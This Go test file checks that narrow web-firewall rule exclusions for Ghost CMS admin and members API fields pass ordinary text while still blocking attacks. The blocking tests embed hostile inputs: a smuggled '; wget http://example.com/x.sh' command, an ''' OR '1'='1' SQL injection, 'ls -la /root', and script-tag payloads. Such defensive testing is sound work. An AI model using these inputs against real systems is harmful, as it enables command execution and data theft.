package coreruleset_test import ( "encoding/json" "net/http" "net/url" "slices" "strings" "testing" ) // ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const ghostThreshold = 5 // Paths of Ghost's Admin API, Content API and members' API. const ( ghostPosts = "/ghost/api/admin/posts/" ghostPost = ghostPosts + "6af458a5d281b00001a59969/" ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/" ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/" ghostMembers = "/ghost/api/admin/members/" ghostSettings = "/ghost/api/admin/settings/" ghostSession = "/ghost/api/admin/session/" ghostSetup = "/ghost/api/admin/authentication/setup/" ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/" ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/" ghostMember = "/members/api/member/" ghostMagicLink = "/members/api/send-magic-link/" ) // ghostField is a field of a JSON body Ghost receives: the request that // sends it, and its body, with VALUE where the field's value goes. type ghostField struct{ method, target, body string } // with returns f's body holding value, escaped for JSON. func (f ghostField) with(t *testing.T, value string) string { t.Helper() quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } return strings.ReplaceAll(f.body, "VALUE", string(quoted[1:len(quoted)-1])) } // ghostTextFields hold plain text and skip the rules of 900353 and 900359. // //nolint:gochecknoglobals // a constant cannot be a list var ghostTextFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`}, {http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`}, {http.MethodPost, "/ghost/api/admin/pages/", `{"pages":[{"slug":"VALUE"}]}`}, {http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"name":"VALUE"}]}`}, {http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"description":"VALUE"}]}`}, {http.MethodPost, "/ghost/api/admin/labels/", `{"labels":[{"name":"VALUE"}]}`}, {http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`}, {http.MethodPost, ghostMembers, `{"members":[{"labels":[{"name":"VALUE"}]}]}`}, {http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`}, {http.MethodPut, ghostNewsletter, `{"newsletters":[{"sender_name":"VALUE"}]}`}, {http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"name":"VALUE"}]}`}, {http.MethodPut, ghostMember, ghostMemberName}, } // ghostMemberName is the body that saves a member's name at /members/api/. const ghostMemberName = `{"name":"VALUE"}` // ghostAddressFields hold a member's or a staff user's email address and skip // 930120, 932120 and 932260. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAddressFields = []ghostField{ {http.MethodPost, ghostMagicLink, `{"email":"VALUE","emailType":"signup"}`}, {http.MethodPut, ghostMember, `{"email":"VALUE"}`}, {http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostSession, `{"username":"VALUE"}`}, {http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostPasswordReset, `{"password_reset":[{"email":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`}, } // ghostArticleFields hold an article and skip the rules of 900355. // //nolint:gochecknoglobals // a constant cannot be a list var ghostArticleFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`}, {http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`}, {http.MethodPost, ghostPosts + "?source=html", `{"posts":[{"html":"VALUE"}]}`}, {http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`}, {http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"lexical":"VALUE"}]}`}, {http.MethodPut, ghostNewsletter, `{"newsletters":[{"footer_content":"VALUE"}]}`}, } // ghostCodeFields hold code injection or a setting and skip the rules of // 900356. // //nolint:gochecknoglobals // a constant cannot be a list var ghostCodeFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"codeinjection_head":"VALUE"}]}`}, {http.MethodPut, ghostPage, `{"pages":[{"codeinjection_foot":"VALUE"}]}`}, { http.MethodPut, ghostSettings, `{"settings":[{"key":"title","value":"Blog"},` + `{"key":"codeinjection_head","value":"VALUE"}]}`, }, } // The query fields that skip some rules, each ending in "=". const ( ghostAdminFilter = ghostPosts + "?limit=30&filter=" ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=" ghostSearch = ghostMembers + "?limit=100&search=" ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url=" ) // ghostQueryFields are the query fields that skip some rules. // //nolint:gochecknoglobals // a constant cannot be a list var ghostQueryFields = []string{ ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed, } // ghostURLs are addresses 930120 and 932120 refused in url. // //nolint:gochecknoglobals // a constant cannot be a list var ghostURLs = []string{ "https://github.com/example/site/blob/main/.htaccess", "https://example.com/blog/powershell-tips?ref=ghost", "https://example.com/docs/python3/", } // ghostAddresses are addresses 930120, 932120 and 932260 refused. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAddresses = []string{ "erin.htaccess@example.com", "python3.dev@example.com", "dave.powershell@example.com", } // ghostArticle is an ordinary article with a code block, an HTML card and an // embed, which each of the rules of 900355 refused. const ghostArticle = `

Tidy .htaccess with python3

` + `
#!/usr/bin/env python3
cat /etc/hosts | grep example
ls -la /var/www/html/.htaccess
powershell -ExecutionPolicy Bypass -File build.ps1
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
document.querySelectorAll('a').forEach((a) => console.log(a.href));
window.onload = () => alert('ready');
` + `` + `` // ghostCodeInjection is ordinary code injection for the head of a page. const ghostCodeInjection = `` + `` + `` // wantGhostField checks that the Core Rule Set, reading bodies, refuses f // holding value, or lets it through. func wantGhostField(t *testing.T, f ghostField, value string, refused bool) { t.Helper() r := request{f.method, f.target, []string{jsonBody}} body := f.with(t, value) got, _ := inspectBody(t, readingBodies(t), r, body) if refused && got.Score < ghostThreshold { t.Errorf("%s %s %.300s let through: %+v", f.method, f.target, body, got) } if !refused && got.Score >= ghostThreshold { t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got) } } // wantGhostQuery checks that the Core Rule Set, at the defaults, refuses // target, a query field and its value, or lets it through. func wantGhostQuery(t *testing.T, target string, refused bool) { t.Helper() got := inspect(t, atDefaults(t), get(target)) if refused && got.Score < ghostThreshold { t.Errorf("%s let through: %+v", target, got) } if !refused && got.Score >= ghostThreshold { t.Errorf("%s refused: %+v", target, got) } } func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() for _, encoded := range hardValues { value, _ := url.QueryUnescape(encoded) fields := slices.Concat(ghostTextFields, ghostArticleFields, ghostCodeFields) for _, f := range fields { wantGhostField(t, f, "Notes on "+value+" & tidy files", false) } // filter as the admin's pickers write it, and search as typed. wantGhostQuery(t, ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"), false) wantGhostQuery(t, ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"), false) wantGhostQuery(t, ghostSearch+encoded, false) } for _, address := range ghostURLs { wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false) } for _, address := range ghostAddresses { for _, f := range ghostAddressFields { wantGhostField(t, f, address, false) } } for _, f := range ghostArticleFields { wantGhostField(t, f, ghostArticle, false) } for _, f := range ghostCodeFields { wantGhostField(t, f, ghostCodeInjection, false) } wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+ url.QueryEscape("tag:powershell+status:[draft,scheduled,published,sent]"), false) wantGhostQuery(t, "/ghost/api/admin/members/?filter="+ url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false) } // ghostAttacks are an SQL injection, a path traversal and a script // injection, not escaped. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAttacks = []string{injection, pathTraversal, scriptTag} // commandAfterASeparator is a shell command after a ";", not escaped. const commandAfterASeparator = "; wget http://example.com/x.sh" func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range ghostAttacks { for _, f := range slices.Concat(ghostTextFields, ghostAddressFields, ghostArticleFields, ghostCodeFields) { wantGhostField(t, f, attack, true) } for _, target := range ghostQueryFields { wantGhostQuery(t, target+url.QueryEscape(attack), true) } } // A command after a separator stays refused wherever its rules do not // misfire: in the query fields, the plain text and the addresses. for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) { wantGhostField(t, f, commandAfterASeparator, true) } for _, target := range ghostQueryFields { wantGhostQuery(t, target+url.QueryEscape(commandAfterASeparator), true) } // The articles and code injection carry HTML on purpose, but a script // element and a javascript: link are still refused there. for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) { wantGhostField(t, f, `

Hi

`, true) wantGhostField(t, f, `click`, true) } // An address keeps 932250, which refuses a listing of files. for _, f := range ghostAddressFields { wantGhostField(t, f, "ls -la /root", true) } } func TestGhostExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // The fields keep their rules off Ghost's paths, on Ghost's paths that // take no such field, and when the query has a field of the same name. const ( title = `{"posts":[{"title":"python3"}]}` article = `{"posts":[{"lexical":"

cat /etc/hosts

"}]}` name = `{"name":"python3"}` email = `{"email":"python3.dev@example.com"}` username = `{"username":"python3.dev@example.com"}` setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` ) for _, refused := range []struct{ target, body string }{ {"/api/posts/", title}, {"/ghost/api/content/posts/", title}, {ghostMember, title}, {ghostPosts + "?json.posts.0.title=x", title}, {ghostPosts, `{"posts":[{"visibility":"python3"}]}`}, {ghostPosts, name}, {ghostMember + "?json.name=x", name}, {"/api/posts/", article}, {"/ghost/api/admin/users/", `{"users":[{"bio":""}]}`}, {ghostPosts + "?json.posts.0.lexical=x", article}, {"/api/settings/", `{"settings":[{"value":""}]}`}, { ghostSettings + "?json.settings.0.value=x", `{"settings":[{"value":""}]}`, }, {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, {"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`}, {ghostPosts, email}, {ghostMembers, email}, {ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`}, { ghostMembers + "?json.members.0.email=x", `{"members":[{"email":"python3.dev@example.com"}]}`, }, {ghostMember + "?json.email=x", email}, {ghostPosts, username}, {ghostSession + "?json.username=x", username}, {ghostPosts, setupEmail}, {ghostSetup + "?json.setup.0.email=x", setupEmail}, {ghostPosts, passwordResetEmail}, {ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail}, {ghostPosts, userEmail}, {ghostUser + "?json.users.0.email=x", userEmail}, {ghostSession, `{"username":"x","pass":"' OR '1'='1"}`}, {"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`}, {"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`}, { "/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x", `{"users":[{"profile_image":null}]}`, }, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < ghostThreshold { t.Errorf("PUT %s %s let through: %+v", refused.target, refused.body, got) } } // The query fields keep their rules off Ghost's paths, and in other // query fields there. search skips its rules only on the Admin API, and // url only on the editor's lookup of embeds. for _, target := range []string{ "/api/posts/?filter=powershell", "/ghost/posts/?filter=powershell", "/ghost/api/admin/posts/?order=powershell", "/ghost/api/content/posts/?search=python3", "/members/api/member/?search=python3", "/ghost/api/admin/posts/?url=powershell", "/oembed/?url=powershell", } { wantGhostQuery(t, target, true) } } func TestGhostPasswordsPass(t *testing.T) { t.Parallel() // Ghost's password fields, each sent to the path that takes it. A dot // nests a field, as Ghost nests it in an array. fields := []passwordFields{ {ghostSession, jsonBody, []string{passwordKey}}, {"/ghost/api/admin/authentication/setup/", jsonBody, []string{"setup.0.password"}}, { "/ghost/api/admin/authentication/invitation/", jsonBody, []string{"invitation.0.password"}, }, { "/ghost/api/admin/authentication/password_reset/", jsonBody, []string{"password_reset.0.newPassword", "password_reset.0.ne2Password"}, }, { "/ghost/api/admin/users/password/", jsonBody, []string{ "password.0.oldPassword", "password.0.newPassword", "password.0.ne2Password", }, }, } wantPasswordFieldsPass(t, fields) }